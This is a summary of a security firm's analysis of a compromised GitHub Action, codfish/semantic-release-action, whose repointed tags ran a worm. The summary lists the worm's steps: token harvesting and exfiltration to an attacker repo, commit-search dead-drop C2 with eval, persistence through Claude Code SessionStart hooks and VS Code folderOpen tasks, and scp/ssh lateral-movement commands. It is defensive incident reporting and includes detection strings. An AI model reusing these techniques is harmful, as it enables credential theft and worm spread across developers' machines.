# codfish/semantic-release-action GitHub Action has been compromised

Attacker force-pushed a malicious commit to codfish/semantic-release-action and repointed 23 version tags, executing a worm that steals OIDC/PAT tokens and backdoors repos.

- Payout: Real-world hack
- Severity: critical
- Program: codfish/semantic-release-action
- Analysis by: StepSecurity
- Disclosed: 2026-07-01
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/supply-chain-compromise-codfish-semantic-release-action
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-supply-chain-compromise-codfish-semantic-release-action
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:github-actions technique:recon technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** GitHub Actions composite action (action.yml + index.js) run via Bun
**Root cause:** Git tags are mutable; attacker with push access force-pushed commit 6b9501e and repointed all version tags to it, so workflows using mutable tags resolved to malicious code. Attacker then made tags immutable via Repository Rulesets to block recovery.
**Steps:**
1. Force-push malicious commit `6b9501e1889cc45c91726729610cf69c2442b8c5` to codfish/semantic-release-action and repoint tags v1-v5 to it
2. Modify `action.yml` from `using: docker` to `using: composite` with steps: `oven-sh/setup-bun@v2` and `bun run ${{ github.action_path }}/index.js`, both guarded `if: always()`
3. Payload checks locale; halts if `Intl.DateTimeFormat().resolvedOptions().locale` or LANG/LC_ALL/LANGUAGE starts with `ru`
4. C2 via GitHub commit search: `GET /search/commits?q=RevokeAndItGoesKaboom`; decrypt `RevokeAndItGoesKaboom:<base64(IV+AES-256-CBC(PAT,key bd803520...))>` to obtain operator PAT
5. Second dead drop: search commits for `thebeautifulsnadsoftime <base64(cmd)>.<base64(RSA_SHA256_sig)>`, verify against hardcoded pubkey, `eval()` command
6. Harvest GITHUB_TOKEN/OIDC/PATs, AES-128-GCM encrypt, exfil via PUT to attacker-created GitHub repo
7. Commit `.claude/index.js`, `.claude/settings.json` (SessionStart hook), `.vscode/tasks.json` (folderOpen) to up to 4 branches with `skip-checks:true`
8. Read `~/.ssh/known_hosts` and `~/.ssh/config`, `scp index.js user@target:~/.config/index.js` then `ssh user@target "bun run ~/.config/index.js"` in batches of 8
9. Publish secondary packages to npm/PyPI/RubyGems using `.npmrc`, `~/.pypirc`, gem credentials, signed via Sigstore fulcio/rekor
**How found:** Static analysis of the malicious commit and modified action.yml revealed Docker→composite conversion and injected Bun steps; runtime monitoring with Harden-Runner egress lockdown caught anomalous PID 5615 making GitHub API calls ending in a PUT exfil.
**Exploitation:** Any workflow referencing a hijacked mutable tag (e.g. `uses: codfish/semantic-release-action@v2`) after 15:39:06 UTC June 24 2026 executed the composite action; Bun installed via setup-bun, payload ran under `if: always()`, harvested tokens from runner memory/env, exfiltrated via GitHub API PUT to attacker repo, and propagated via commits, SSH, and package registries.
**Escalation:** Worm behavior: repo commits poison developer clones via Claude Code SessionStart hooks and VS Code folderOpen tasks; SSH lateral movement to known_hosts targets; multi-registry package publishing with Sigstore signing to bypass provenance controls; attacker rulesets lock tags immutable to prevent remediation.
**Insight:** Mutable action tags are a supply-chain attack surface: monitor for tag-to-commit drift and pin to full SHAs. Also note the locale killswitch and GitHub-commit-message dead-drop C2 pattern — hunting for `RevokeAndItGoesKaboom`/`TheBeautifulSandsOfTime` strings in CI artifacts identifies this actor.
